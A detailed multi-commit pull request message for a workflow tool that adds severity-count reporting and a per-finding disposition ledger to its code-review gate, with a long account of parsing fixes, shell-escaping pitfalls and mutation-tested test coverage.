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b90eef28e8 enhance(#3829): report code review severity counts and record a per-finding disposition (#3861)
* enhance(#3829): report code review severity counts and record a per-finding disposition

`code_review_gate` extracted `status:` from REVIEW.md's frontmatter and discarded
the `critical`/`warning`/`info`/`total` values sitting in the same range, so its
output was byte-identical for a review with one `info` finding and a review with a
Critical. Nothing anywhere recorded what happened to a finding: no file under
`gsd-core/workflows/` branches on `issues_found`, and `gsd-verifier.md` has zero
references to REVIEW.md. A phase therefore reached `phase.complete` with Criticals
standing and no trace they had been seen.

Both halves were approved on the issue; the gate stays advisory.

A — severity surfacing, in `execute-phase.md`. The gate states the breakdown it
already parsed, accepting `blocker:` as the documented tier-equivalent of
`critical:`. The breakdown is shown only when all four counts are numeric
(`REVIEW_COUNTS_OK`); otherwise the countless message stands, because gating on
the total alone still emits `6 findings —  critical` for a review carrying a total
and nothing else.

Frontmatter is extracted by an `awk` that emits only when it saw the CLOSING
delimiter, after stripping CR. A `sed` range re-opens on a body `---` and runs to
EOF: first-match protects a key the frontmatter always carries, but not an
optional one, so a review with no `findings:` block and a body `total:` line would
have reported the body's number. An unterminated block would leak the whole body
the same way.

Every read is guarded and `|| true`-terminated. This step is advisory, and under
`set -e`/`pipefail` a non-matching `grep` exits 1 — an assignment whose command
substitution fails would take the step down with it. A REVIEW.md that is missing,
a directory, or unreadable now leaves the counts empty and execution continues.

B — per-finding disposition, in a new lazily-read step file,
`gsd-core/workflows/execute-phase/steps/code-review-disposition.md`, referenced
from the gate in the established plain read-and-execute form. One row per finding
ID, defaulting to `open`, and:

- `fixed`/`skipped` are reconciled from REVIEW-FIX.md, whose section headings are
  matched WHOLE — a prefix match let `## Fixed Issues Verification` classify every
  finding beneath it as fixed — and only when the fix report names the SAME
  finding. Finding ids are reused across re-reviews, so matching on the id alone
  let a stale fix report declare a brand-new CR-01 already fixed.
- headings inside fenced blocks are ignored; a quoted example is not a finding.
- an id listed under both sections resolves by first occurrence, not row order.
- a recorded disposition is preserved together with the reason in its Source cell,
  escaped pipes included, and a hand-mangled row missing its trailing pipe still
  keeps its decision.
- a decided finding the current review no longer reports is CARRIED and marked;
  `--auto` rewrites REVIEW.md each iteration, so this is routine, and dropping the
  row would erase the record that it was seen. An untriaged `open` row for a
  vanished finding is not carried. A review reporting nothing still reconciles an
  existing ledger rather than freezing it.
- a run that changes no disposition rewrites nothing, so a re-executed phase does
  not produce a docs commit whose only delta is a timestamp.

The record is a sibling artifact, not a section inside REVIEW.md: `--auto`'s
re-review loop rewrites REVIEW.md every iteration, so a ledger kept inside it
would not survive the next pass, and REVIEW.md has a single writer that this step
is not.

B lives in an extracted step file because `execute-phase.md` was 91,493 bytes
against a 98,304 hard cap the size-budget test calls a red line, and because
`scanWiredKinds` caps a call site's dispatch-coverage region at 6000 characters —
an inline version pushed the `kind == "gate"` paragraph out of that window, which
silently drops `gate` from the covered set and fails
`gen-capability-registry --check` while pointing at the capability rather than at
the prose that displaced it. Extraction is what that size test's own message
prescribes, and it leaves the file at 93,854 bytes.

The tests execute the shipped script rather than modelling it. Three adversarial
review rounds each refuted "the mirror is faithful", and mutation testing agreed:
with a hand-written model, deleting the carried-row logic from the shipped file
turned nothing red. The suite now extracts the embedded script — undoing exactly
the four shell double-quote escapes — and runs it, so all ten mutations of its
behaviour are caught.

* chore(#3829): set changeset fragment pr to 3861

* fix(#3829): keep execute-phase.md under both size ceilings and propagate the launcher probe

The first push failed `full test (macos-latest, 24, shard 3/3)`. Two things it
caught that the CI-selected scope for this diff does not run, and that I
therefore did not run either:

1. `execute-phase.md` is governed by TWO ceilings, not one. The XL hard cap in
   `tests/workflow-size-budget.test.cjs` (98304) was satisfied at 95179, but the
   frozen ADR-857 pre-phase-6 ceiling in `tests/claude-orchestration.test.cjs`
   (93600) was not. The whole budget from base is 2107 bytes, which the inline
   reporting half alone did not fit. That half now lives in the extracted step
   file alongside the disposition half, and the parent carries only the paragraph
   that reads and executes it — 91529 bytes, 36 over base.

2. The step file calls `gsd_run`, so it owes the hermes runtime-home probe that
   `tests/runtime-launcher-parity.test.cjs` (E) requires of every workflow file
   that does. Propagated with `node scripts/sync-runtime-launcher.cjs`, the
   remedy that test names.

Verified with the FULL unit suite this time rather than the scoped selection —
14 shards, 0 failures — plus `npm run lint:ci`, and a re-run of the ten mutations
of the shipped disposition script, all still caught.

* fix(#3829): stop the disposition step instructing the agent to execute itself

Blocker 1 and Minor 7 of the round-1 review are one defect. The step file
carried a copy of execute-phase.md's pointer paragraph, so it named its own
path as something to "read and execute" — unbounded self-recursion at runtime
— and that copy is also the duplicated paragraph, sitting immediately above
the full instruction it duplicates.

Removing the copy resolves both. execute-phase.md remains the only surface
that points here, which is what it always intended.

Two structural tests guard it. Both are red against the pre-fix file: no
behavioural test could see either defect, because they execute the node
script through the process seam and so never read the prose that tells the
agent what to load.

* fix(#3829): re-derive the ledger paths in the block that uses them

Blocker 2. The disposition block reads REVIEW_FILE, DISPOSITION_FILE and
PADDED, all derived in the step's FIRST shell block. Each fenced block is
dispatched as its own shell, so all three are empty by the time the second
block runs: the ledger write lands on a bare `-REVIEW-DISPOSITION.md` path
and the review read finds nothing. The step then reports success having
produced no artifact — the feature's central acceptance criterion, silently
unmet, with no error to notice.

The tell was already in the file: the gsd_run shim preamble is re-emitted in
the second block for exactly this reason. These three paths belong beside it,
and now are.

The guard test asserts the general property rather than the instance — every
block derives what it reads, inheriting only the step's declared inputs
(PHASE_DIR, PHASE_NUMBER) — so a third block added later cannot reintroduce
it. Red against the pre-fix file.

* test(#3829): assert the counts mirror against the shipped shell, and execute its guards

Major 4, with Minor 6 and part of Minor 9.

The disposition builder stopped being a mirror three rounds ago, and the
reason given then was that a hand model of a shell-embedded script drifts
while the tests stay green. parseGateCounts kept its mirror anyway. That
argument does not stop applying at the boundary between the step's two shell
blocks, so the mirror now loses its authority: it is asserted against the
shipped awk and greps, run under `set -euo pipefail` in a real shell, across
every fixture it is exercised on.

Negative-controlled in both directions. Dropping `blocker:` from the mirror
alone fails the parity test; replacing the shipped awk with the leaky
`sed -n '/^---$/,/^---$/p'` range fails it on the unterminated-frontmatter
fixture. Divergence in either half is now red, which is what the finding asks
for. Skipped on win32, where there is no bash to compare against.

Minor 6: the zero-count edge is covered — `0` is numeric, so a zero-finding
review reports `0 findings — 0 critical, …` rather than falling back to the
countless form. A guard written against truthiness would have failed here
silently, and now cannot.

Minor 9, partially: running the block makes its advisory guards behavioural,
so the four `src.includes()` assertions that stood in for them are retired —
a missing and an unreadable REVIEW.md are now proven not to abort under
`set -e`, rather than asserted to contain a string. The remaining docs-parity
assertions are kept deliberately; see the PR discussion.

* test(#3829): add the render/re-parse fixed-point property for the ledger

Major 3. RULESET.TESTS.property-based-testing asks for at least one fc
property on a parsing/transformation contract, and the ledger is one with a
fixed point stated in its own prose: re-running the gate preserves every
disposition except `open`, and rewrites nothing when nothing changed.

Two properties, both driving the SHIPPED script rather than a model of it:

  idempotency — a second run reports `unchanged` and leaves the file
                byte-identical. Without it, the timestamp alone dirties the
                tree on every phase re-run.
  round-trip  — a hand-recorded decision AND the reason beside it survive
                render -> re-parse -> render, escaped pipes included. The
                Source cell is where a human writes why something was
                deferred, so losing it loses the only thing that instruction
                asks for.

Negative-controlled per property: disabling the unchanged-check fails the
first and only the first; discarding the carried source cell fails the second
and only the second.

numRuns is 40 rather than the shared 200 because each case spawns the shipped
script twice through the process seam. The seed stays pinned, so a failure
still reproduces; the deviation is stated in the file header rather than made
silently.

* fix(#3829): state a stale fix-report match instead of dropping it silently

Minor 5, plus the finding-id census this round owes.

Exact-title coupling stays — ids are reused across re-reviews, so a stale
REVIEW-FIX.md must not mark a brand-new CR-01 as already fixed. What changes
is the silence. A row that stays `open` because the report named a different
finding under the same id is indistinguishable, to any reader, from a row
that stays open because no report mentioned it. The gate now names the ids it
could not reconcile, on both report paths, and stays advisory throughout.

The census (RV4, self-found — the review did not ask for this). The script
enumerates finding-id prefixes in three places: the heading matcher, the
ledger re-parser, and the severity map's keys. The DOMAIN those enumerate is
owned elsewhere — gsd-code-reviewer.md's body template and its
Label-equivalence paragraph — so it can acquire a member without this script
changing.

Reached: CR, BL, WR, IN — 4 of 4, all present. Not reached: none today. What
follows if that changes is the payload: an unlisted prefix is not mis-tiered,
it is INVISIBLE — the finding never enters the order list and gets no row at
all, so the artifact silently under-reports the review it is meant to record.
Adding a prefix to two of the three copies fails the same way, and additionally
drops carried rows on the next run.

Two guards rather than a rewrite: hoisting the alternation into one constant
means rebuilding three regexes inside a double-quoted shell string, which is
the exact class of edit that produced both of this round's blockers. The
guards make the drift loud instead, and are negative-controlled against each
of the two ways it can happen.

* docs(#3829): keep the feature reference descriptive, not instructional

Minor 8 — a Diataxis mode mix. "Set `deferred` by hand and put the reason in
the Source cell" is a how-to instruction sitting in a reference doc. The
information belongs there (a reader needs to know the field exists and what
preserves it); the imperative does not.

Rewritten to describe the field instead: `deferred` is the one disposition the
gate never writes, and the reason recorded beside it survives re-runs. The
same pass records Minor 5's new behaviour, since the reference described the
title coupling but not what happens when it misses.

The imperative form is kept where it belongs — inside the ledger the gate
renders, which is where a reader meets the field and the only place an
instruction has an audience.

docs/FEATURES.md regenerated from it; `gen-features.cjs --check` is green.

* fix(#3829): close six defects found by reviewing this round's own fixes

None of these came from the maintainer's review. They came from adversarially
reviewing the five commits above before pushing them, and two are worse than
anything the round was opened to fix.

1. A foreign fence marker swapped an example for a finding. The heading scanner
   toggled fenced/not-fenced on ANY fence marker, so a ~~~ line inside a ```
   example closed the fence and the example's real close reopened one. Driven:
   a review quoting ~~~ inside a fenced example produced a ledger recording
   CR-77, the illustration, and omitting CR-01, the actual finding. A
   confidently-written artifact wrong in both directions at once. The open
   marker's character and length are now remembered, and a fence closes only on
   the same character at least as long, per CommonMark.

2. The disposition block had no status gate at all. The prose above it says it
   runs only when the review reports issues — but block 1 computes
   REVIEW_STATUS, emits nothing, and its shell is discarded, so no later block
   could act on that condition even in principle. A prose gate on a value
   nothing downstream can see is not a gate, and a clean re-review would rewrite
   a ledger it was never meant to touch. Re-derived in block 2's own shell.

3. A numeric breakdown could still be internally false. `total: 0` beside
   `critical: 1` is four valid numbers rendering `0 findings — 1 critical, …`.
   Numeric was necessary and not sufficient; an inconsistent breakdown is now
   withheld for the same reason a partial one is.

4. The carried-marker strip ate hand-written prose. It removed a trailing
   `(not in the current review)` unboundedly and unconditionally, so a deferral
   reason that merely ENDED in that phrase lost it — the one field a human
   writes into this artifact. Now bounded to one occurrence, and only on rows
   the marker can legitimately be on. The no-growth property it exists for is
   re-pinned.

5. parseGateCounts diverged from the shipped pipeline in two ways no fixture
   reached. The shipped reads are `cut -d: -f2 | tr -d ' '`: `tr` removes
   INTERNAL spaces (`1 0` -> `10`) where `.trim()` keeps them, and `cut` takes
   only the second colon-field where a tail capture keeps the rest. The mirror
   models the pipeline now, and both counterexamples are fixtures — a parity
   assertion that agrees only on well-formed input asserts very little.

6. The prefix census guards were both partly vacuous. The drift guard read the
   two regex alternations and not the severity map, so a set could agree in both
   regexes while mis-tiering in the map. The domain guard scanned only `### XX-01:`
   headings — and BL appears in no heading at all, only in the Label-equivalence
   prose, so the guard passed purely because BL happened to be hard-coded and
   would have missed the next prose-defined prefix exactly as it missed BL. Both
   widened; the domain the guard now sees is BL, CR, IN, WR.

Each fix fails a named test on reversion and none fires on the ordinary path.
The property generator now deliberately produces the reserved suffix from (4),
which a generator drawn only from innocuous characters could never reach.

Also corrected: the previous commit's account of the empty-path failure. The
script did not write a bare `-REVIEW-DISPOSITION.md`; it threw on reading the
empty review path and the trailing `|| echo` swallowed it as a non-blocking
skip. Same silent outcome, different mechanism, and the comment said the wrong
one.

* fix(#3829): the tests now run what bash runs — and six fixes to the fixes

A second adversarial pass over the previous commit. It found a regression that
commit introduced, and the reason it slipped through is the finding worth
keeping.

THE FIDELITY GAP. Every test here extracts the embedded script as TEXT and
runs it. Bash does not: it expands the double-quoted `node -e "..."` argument
first, so a backtick inside it is COMMAND SUBSTITUTION. The previous commit put
one in a code comment. Bash duly ran it, failed with `+: command not found`,
and handed Node a script two bytes shorter than the one 122 green tests were
exercising. No behavioural test could see this, because none of them ever
asked bash what it would actually pass. One now does, and it is the general
guard: it catches an unescaped backtick, an unescaped $, and any other
expansion the extractor cannot model.

Then, in the shipped step:

- A padded count silently disabled the sum check. `$((08 + …))` fails on base
  inference; it does not abort — the expansion sits in an `if` condition, where
  set -e does not fire — so the check simply never ran and an inconsistent
  breakdown passed with a stray diagnostic as its only trace. `10#` on every
  operand.
- The status guard made the script's own reconciliation unreachable. A clean
  review with an EXISTING ledger must still be reconciled — decided rows
  carried, stale `open` rows dropped — or the ledger freezes showing findings
  as open that the review no longer reports. The guard now skips only when
  there is nothing to reconcile.
- The carried marker is no longer stripped at parse time at all. Bounding the
  strip still ate a carried row's human-written reason. No-growth is a property
  of the RENDER, so it is enforced there: a marker already present is not
  appended again. Nothing is stripped, nothing doubles.
- Fence openers are bounded to three leading spaces, per CommonMark.
- parseGateCounts matched `[ \t]` where the shipped grep uses `[[:space:]]`,
  which covers form feed and vertical tab. Third counterexample of the same
  class, and a fixture.
- The census drift guard checked only one direction, so a tier for a prefix the
  regexes never admit stayed green as dead code that reads as coverage.

TWO OF MY OWN TESTS WERE VACUOUS, and the controls are what said so. The
leading-zero test asserted exit 0 and a consistent verdict — both true before
the fix. The clean-review test drove the node script directly, which never
executes the shell guard at all: it passed unchanged with the guard made
unconditional. Both are rewritten to test the layer the defect lives on, and
both now fail when their fix is reverted.

Every fix in this commit fails a named test on reversion, each mutation
verified to have applied before its verdict was read.

* fix(#3829): the carried marker can no longer outlive the carry

A third adversarial pass. Its most important finding is a defect the SECOND
pass talked me into, which is worth recording as plainly as the fix.

THE MARKER BECAME A LIE. Pass 2 objected that bounding the carried-marker strip
still altered a human-written reason, and proposed storing the cell verbatim
instead. That objection was a preference, not a defect — its own driven output
showed exactly one marker, which is correct — and adopting it created a real
one: once the generated marker is stored it can never leave, so a carried
finding that REAPPEARS in a later review still renders "not in the current
review". The ledger then contradicts its own contents. Driven both runs.

The strip is back, bounded to one occurrence and unconditional. The residual
ambiguity is irreducible — a reason ending in exactly that phrase is
indistinguishable from the marker — and it costs nothing real: on a carried row
the render puts the phrase straight back, and on a current row the phrase was
self-contradictory to begin with. The unbounded quantifier is what had to go,
not the strip. The property now states that contract rather than asserting a
verbatim survival the code deliberately does not provide.

Also:

- An ABSENT REVIEW.md abandoned the ledger it was meant to reconcile. The guard
  proceeds when a ledger exists, then the script read the review unconditionally,
  threw, and the trailing fallback swallowed it — the freeze the reconciliation
  path exists to prevent, reached through the door the guard opened.
- Counts are length-bounded as well as digit-only. Bash integers wrap at 2^64,
  so a 20-digit count arrived at the sum as 0 and an inconsistent breakdown
  passed.
- A closing fence must carry only whitespace after its marker; a line with an
  info string is an opener's shape and ended the fence early.
- parseGateCounts matched [ \t\n\v\f\r] where the shipped grep uses
  [[:space:]], which under this UTF-8 locale matches EM SPACE. `\s` is the
  faithful model. Fourth counterexample of that class, and a fixture.
- The agent-domain scan required [A-Z]{2,}, so a one-letter prefix like `C-01`
  — explicit and parseable, not prose — was invisible to it.

AND THE FIDELITY GUARD PAID FOR ITSELF INSIDE ONE SESSION: writing this round's
first draft I put backticks around a token in a code comment again, in the very
commit whose subject is that mistake. The probe failed, named it, and no test
of behaviour could have. Two of my own tests also had to be rewritten: one
asserted things true before its fix, and one drove the node script directly
where the defect lived in the shell.

383 pass across the touched files and the two size ceilings; ten lint gates
green; every fix fails a named test on reversion, each mutation verified to have
applied before its verdict was read.

* docs(#3829): the Source reason is preserved, but not verbatim — say so

Found by claim-auditing the response comment before posting it, which is the
one place this would have been caught: the doc and the code were written in
different commits and only a reader holding both notices they disagree.

The feature reference said the hand-written reason is "preserved verbatim
across re-runs". It is not, and deliberately so — a reason ending in the
literal phrase "(not in the current review)" loses that trailing phrase,
because it is indistinguishable from the carried marker the gate appends.

The exception is stated rather than dropped, with the reason it is the better
trade: storing the marker instead means it never leaves, and a carried finding
that later reappears goes on claiming it is absent from the very review that
reports it. A ledger wrong about its own contents beats losing a duplicated
phrase, but only if the doc admits which one it chose.

FEATURES.md regenerated; gen-features --check and lint:docs green.

* fix(#3829): the gate now emits the counts it computes (B1a/B1b)

Block 1 computed REVIEW_STATUS and the four counts and printed none of
them, then the prose below asked the agent to display four of them. The
shell exits at the closing fence and the agent sees only stdout, so those
values were unobtainable: REQ-REVIEW-08 was unreachable in every shipped
path and the fence was decorative.

The rule was already stated one block down -- "a prose-only gate on a
value no later block can see is not a gate" -- and applied only to block
2. It now governs the block that is this step's primary deliverable.

Both arms emit, and the status gate is mechanical rather than prose:
a clean/skipped/absent review prints nothing, an inconsistent or partial
breakdown prints the countless form, and the full breakdown prints
otherwise. Driven against the review's own case (critical: 1, warning: 9,
info: 8, total: 18) with no appended emitter:

  Code review: 18 findings - 1 critical, 9 warning, 8 info.
  Consider running: /gsd:code-review 1 --fix

* test(#3829): the counts harness stops manufacturing the output it asserts on (B2)

runShippedGateCounts extracted the shipped fence and then APPENDED its own
printf of the six internal variables before running it. Every counts
assertion was green against a script that existed only inside the test
process: the shipped fence emitted nothing, the tested fence emitted six
lines because the test added them. That is why B1a shipped past a suite
that looks like it covers exactly that surface -- the green was
structurally incapable of turning red for it.

The emitter now lives in the fence, so the harness reads the fence's own
stdout and synthesizes nothing. Parity with the mirror moved up a level
with it: renderGateMessage() renders both arms from the mirror's parsed
counts and the assertion compares the WHOLE emitted message, so a drift
in any parsed value changes the string or the arm it selects. Asserting
on the observable is strictly stronger than asserting on five
intermediates, and it can express what the old probe could not -- an
absent review now reports NOTHING, which is a different fact from
reporting a countless review.

A fifth src.includes() assertion converted with it (round 1 retired
four). It pinned the PROSE stating the countless condition, so it went
red when the emitter moved into the fence while the behaviour it named
was untouched -- the pin arguing for its own conversion.

Negative control: reverting the shipped echo now turns 16 tests red.
Before this commit the same reversion turned zero red, which is the
finding.

* fix(#3829): the disposition column is an enum, not any lowercase token (B3)

ADR-227 requires a trust boundary to validate semantic SHAPE and to coerce
a failure to the contract's safe default. The ledger is a trust boundary by
construction -- the rendered instruction tells a human to hand-edit it --
and the prior-row parser captured column 3 as ([a-z]+), checked against
nothing.

One transposed character was enough. `| CR-01 | critical | opne | - |` is
not the literal 'open', so it beat the default, was excluded from the
`open:` headline count, and was carried forward forever. The ledger then
reported the phase fully triaged off a typo.

The asymmetry is what made this a correctness bug rather than a style
point: a typo OUTSIDE [a-z] ('Deferred') already failed to match, lost the
decision and reset the row to open -- safe. A typo INSIDE [a-z] was unsafe.
The parser failed open in the one direction that matters. A row that fails
the enum now yields no prior entry and the row falls back to 'open', by the
same path the capital-D case already took.

The property test could not have caught this: DECIDED is drawn from the
vocabulary, so no property built on it can present an out-of-vocabulary
token. Added JUNK, the arbitrary for the complement, deliberately
lowercase so it stays inside the old capture's own character set -- the
unsafe half is the token that LOOKS like a decision and is not. The new
property also asserts the headline count agrees with the row it renders,
which is the half the defect actually reported wrongly.

Negative control: the new property fails against the ([a-z]+) capture and
passes against the enum.

* fix(#3829): a finding the heading parser cannot match is surfaced, not dropped (B4)

Two independent parsers produce two numbers one paragraph apart -- the
counts from REVIEW.md's frontmatter, the rows from `### <ID>:` heading
matches against a closed CR|BL|WR|IN alternation -- and nothing reconciled
them. A finding the alternation could not reach contributed no row, no note
and no diagnostic, and the ledger then declared `open: 3 of 3` over a set
strictly smaller than the console line had reported one paragraph earlier.
Two findings recorded nowhere, and neither artifact said so.

The PR's own argument for the closed alternation -- that an unlisted prefix
produces no row rather than a MIS-CLASSIFIED one -- is the wrong trade under
this repo's fail-safe rule. A dropped finding is demoted below every finding
that parsed, and an unparseable finding is precisely the one a human most
needs to see.

Block 2 now derives the frontmatter total (anchored inside the findings:
mapping, digit-and-length-bounded like block 1's) and hands it to the
script, which reconciles it against the CURRENT review's matched findings --
order.length, never rows.length, which also counts carried rows and would
either understate the shortfall or invent one. Surfaced exactly as the
stale fix-report case already is: a non-blocking `unparsed: N` key plus the
console line, both naming the two numbers so the claim is checkable.

  Code review disposition recorded: 3 of 3 finding(s) open (2 finding(s)
  recorded NOWHERE: the review reports 5, but only 3 matched the expected
  heading shape `### <CR|BL|WR|IN>-NN: <title>`)

The key is emitted only when there IS a shortfall, so an ordinary ledger
gains no noise key and the unchanged-run check is unaffected.

Four tests, including three negative controls the round owed itself: a
clean review gains no key, an absent/non-numeric total reconciles nothing
rather than fabricating a shortfall, and a total SMALLER than the row count
cannot render `unparsed: -1`. Reversion control: dropping the key turns the
first red.

* fix(#3829): pass --raw to the commit_docs config-get (#3763)

Not from the review -- from a gate the base range added after it. #3763
lands `tests/config-get-raw-guard.test.cjs`, and this branch was its sole
offender: a config-get command substitution without --raw feeds
JSON.stringify output into a bash string comparison, where it silently
never matches for string values. The consumer here is exactly that:

  if [ "$COMMIT_DOCS" = "true" ]

Every other shipped call site in the tree already passes --raw
(spike.md, fast.md, new-milestone.md, sketch-wrap-up.md, ...), so this is
sibling convention, not a new posture.

Worth recording because the two readings are both correct and they
disagree: round 2's review cleared this exact line under ADR-3409 as "the
safe member of that family", since `query config-get <key>` with no --pick
exits 1 on absence and the fallback arm is reachable. That is still true --
--raw does not change it. The base then moved and added a gate that reads
the same line for a different property.

* fix(#3829): scope the count reads to the findings: mapping, not just the frontmatter (m1)

`^[[:space:]]*total:` matches any indented key anywhere in the block, so a
top-level key later named `total:`, `info:` or `critical:` was picked up
ahead of the nested one. The block's own extensive comment is about scoping
the FRONTMATTER, and the scoping stopped one level short of the mapping the
values actually belong to. `status:` was never exposed -- it is anchored to
column 0 because it IS top-level.

The reads now run over the `findings:` block alone, selected by awk and cut
at the next column-0 key. Block 2's REVIEW_TOTAL derivation (added with B4)
already used that filter; this brings block 1 to it, so the two agree by
construction rather than by coincidence.

The mirror models the same scoping, and two fixtures drive it: a top-level
`total: 999` ahead of a nested `total: 1`, and top-level `critical:`/`info:`
ahead of theirs. Reversion control: unanchoring the shipped reads turns them
red.

* fix(#3829): severity comes from the section heading, not just the id prefix (M3)

gsd-code-reviewer.md emits findings under '## Critical Issues' /
'## Warnings' / '## Info', and that heading is the reviewer's own statement
of a finding's severity. The walker already visits every line -- the
fix-report path tracks '## ' sections -- so the signal was in hand and
discarded in favour of the id prefix alone.

A reviewer who mis-numbers a Critical as WR-04 while filing it under
'## Critical Issues' produced a row reading 'warning'. The ledger's Severity
column is the whole basis for triaging it, and it then disagreed both with
the review it summarizes and with the frontmatter count line block 1 prints
from findings.critical.

Section first, prefix as fallback: a finding under no recognized section --
a review that does not use the documented headings, and every row carried
from an earlier review -- keeps the prefix mapping, BL- included. Sections
are matched WHOLE, exactly as the fix-report sections are, so
'## Critical Issues Verification' does not re-tier what sits under it, and
a heading inside a fenced example does not govern.

Five tests: both mis-numbering directions, the prefix fallback across all
four prefixes, the lookalike heading, and the fenced-example case.
Reversion control: prefix-only turns the first two red.

Sixth src.includes() assertion converted with it -- it pinned the exact
source LINE of the enumeration loop, so it went red when that loop was
reformatted while the property it names was strictly widened. It now
asserts the property: every finding id, in order, once each.

* fix(#3829): an untriaged row is carried too, not silently deleted (M1)

The carry-forward kept a prior row only when its disposition was not
'open', so an untriaged row for a finding the current review no longer
reports was dropped entirely. Combined with the reconciliation gap that
left EVERY row open, a re-review deleted the whole ledger.

The re-review loop rewrites REVIEW.md on every iteration, so REVIEW.md does
not retain it either: run 1 records CR-01 open, the re-review renumbers it
to CR-02, run 2's ledger contains neither. That is #3829's complaint
verbatim -- "no trace of what happened to them" -- reproduced by the
artifact built to prevent it. The old justification, "nothing was decided
about it", is exactly the state #3829 says must leave a trace.

Every prior row is now carried, and the carried marker is what keeps it
honest: the row does not claim the finding is live, it records that it was
seen and never triaged. Two costs, stated rather than discovered: a
renumbered finding shows twice until the old row is triaged, and a carried
untriaged row persists until decided. Both are bounded by the phase's own
findings, both are legible from the marker, and both beat a silent delete.

Five tests updated -- they encoded the dropped-untriaged behaviour as the
contract -- plus one new test for the renumbering case M1 names. Reversion
control: restoring the guard turns six red.

Two self-inflicted defects caught while writing this, both by probes round
1 built:

  - Four unescaped backticks in a comment inside the double-quoted node -e
    argument, which bash ran as command substitution. The extractor-parity
    probe fired ("--auto: command not found"). Third time that trap has
    been sprung in this PR, third time the probe caught it.
  - The reworded ledger footer contained the literal carried-marker phrase,
    and the marker-accumulation assertion counts it across the whole file,
    so a doc line read as a second marker. The assertion was right.

* test(#3829): cover the count-length threshold at limit-1, limit and limit+1 (M2)

The guard is `?????????*` -- nine or more characters -- so the limit is
8 digits accepted, 9 rejected. The only cases were 'x', single digits and a
20-digit value, none of which pins the boundary. RULESET.TESTS
boundary-coverage is a hard rule here and it was unmet.

All three points asserted, with the sum kept consistent at each so the
LENGTH rule is what decides the verdict rather than the sum check
incidentally agreeing.

Reversion control is the off-by-one M2 names: dropping one `?` moves the
limit to 7 digits, which no test could previously notice, and now turns
this one red.

* feat(#3829): wire the disposition ledger into the fix path (B1c/B1d)

REQ-REVIEW-09 was unreachable in every shipped path. execute-phase.md's
code_review_gate invokes review with neither --fix nor --auto, so
<NN>-REVIEW-FIX.md cannot exist when the gate runs and every row it writes
is `open` by construction. The operator then runs /gsd:code-review N --fix
by hand -- the very suggestion the step prints -- which writes REVIEW-FIX.md
and never touched the ledger. A phase with 23 findings, all fixed, ended at
`open: 23 / total: 23`: the artifact that exists to distinguish a triaged
finding from a forgotten one asserted that 23 triaged findings were
forgotten. Worse than recording nothing, because it looks authoritative and
is inverted.

Taking remedy (i), not (ii). Narrowing the docs to say the ledger reflects
the previous phase execution is a legitimate choice, but it ships a feature
whose central artifact is inert and then documents the inertness.

ONE ADAPTATION, because the prescribed site does not exist. The review says
to wire code-review.md's --fix/--auto path. code-review.md is not the writer
(gsd-code-fixer writes the report, code-review-fix.md commits it), and more
decisively it has no point that is AFTER the report exists: it delegates
through code-review/steps/dispatch-fix.md, which calls
Workflow(code-review-fix.md) and then exits the workflow. There is nothing
downstream of that call to wire to.

The site is code-review-fix.md, immediately after commit_fix_report. That
is where the report is on disk and committed, it is the canonical
implementation for all fix logic by dispatch-fix.md's own statement, and it
additionally covers a direct invocation of that workflow -- which a wiring
in code-review.md would have missed.

The same step, not a second copy: it consumes PHASE_DIR and PHASE_NUMBER,
both already parsed from the init JSON, and it is idempotent, so a phase
that reaches the gate and then a fix run ends with one ledger reflecting
both rather than two competing ones.

Driven end to end: the gate writes `open: 2 of 2`, the fix path reconciles
to fixed/skipped and `open: 0`. Two tests -- one pins the wiring and its
ordering relative to commit_fix_report and present_results, one drives the
two call sites in sequence. Reversion control: removing the step turns the
first red; the second covers the reconciliation the wiring makes reachable
rather than the wiring itself.

* fix(#3829): a reflowed fix-report title is the same title (m2)

The stale-fix-report guard compared titles with trim() equality. The strict
instinct is right -- ids are reused across re-reviews, so a stale
REVIEW-FIX.md must not mark a brand-new CR-01 as already fixed -- but
gsd-code-fixer.md writes '### {finding_id}: {title}' under no contract that
the title is copied byte-for-byte from REVIEW.md. A fixer that reflows a
long title produced a spurious mismatch note, left a genuinely-fixed row
'open', and told the reader the report named a different finding. That
false-positive mode was acknowledged nowhere.

Whitespace is normalized, and only whitespace: a wrapped title is the same
title, and it is the one divergence that carries no information. Case
changes and truncation stay strict on purpose -- they are the shapes a
genuinely DIFFERENT finding takes, and widening to them would trade a
visible false positive for the silent false negative the strict match
exists to prevent. The residual is now stated in the step rather than left
to be rediscovered.

The note's wording changed with it. It asserted the report "names a
different finding"; both causes reach that branch and the step cannot tell
them apart, so it now reports the observation -- "titles its finding
differently from the review ... a stale report, or a re-titled one" --
rather than a conclusion it has not earned.

Three tests: the reflow case reconciles cleanly, the re-cased case still
reports, and the stale case still reports with the new wording. Reversion
control: restoring the strict comparison turns the reflow test red.

Seventh src.includes() converted -- it pinned the comparison EXPRESSION, so
it went red when the comparison gained normalization while the property it
names was unchanged.

* docs(#3829): describe the flow that ships, not the one implied (m3)

Both reference pages said "/gsd-code-review <N> --fix records fixed and
skipped, which the gate reconciles from REVIEW-FIX.md" -- true in the
abstract, materially misleading in practice, because no shipped path
performed that reconciliation. With B1c/B1d wired it is now real, and the
pages say WHERE it happens rather than leaving a reader to assume the
in-phase gate does it: the gate runs before any fix report exists and
writes all-open, and --fix is what records what happened.

The round's other behaviour changes land here too, since a reference page
that lags the artifact is worse than none:

  - the disposition column is a closed vocabulary, and a value outside it
    falls back to open rather than being treated as a decision
  - severity comes from the section heading when the review uses one, and
    from the ID prefix otherwise
  - an unparsed shortfall is stated rather than dropped
  - titles are compared ignoring whitespace, so a reflowed title still
    reconciles, and a mismatch is reported as an observation rather than as
    a claim that the report is stale
  - EVERY row is carried now, triaged or not, with the cost of the
    renumbered-finding double-entry stated rather than left to be found

docs/FEATURES.md regenerated from the fragment; lint:generated-sync and
lint:docs both exit 0.

* chore(#3829): migrate the emitted-drift ack from a fragment to commit trailers

ADR-3942 landed on next in #3954: the acknowledgment is a git commit
trailer now, and tests/emitted-drift-acks/ no longer exists.

Worth noting for anyone reading the rebase: this did NOT surface as the
modify/delete conflict the migration guidance predicts. This branch ADDED
its fragment rather than modifying an existing one, and the base deleted
only the files that were already there, so the replay was clean and the
fragment survived silently into a directory that no longer exists. Quieter
than a conflict, and worse -- the gate is what catches it, not git.

Two Growth keys rather than the fragment's one: round 2 wired the ledger
into code-review-fix.md, so that file grew too. Both key on the bare
filename, per the Growth namespace.

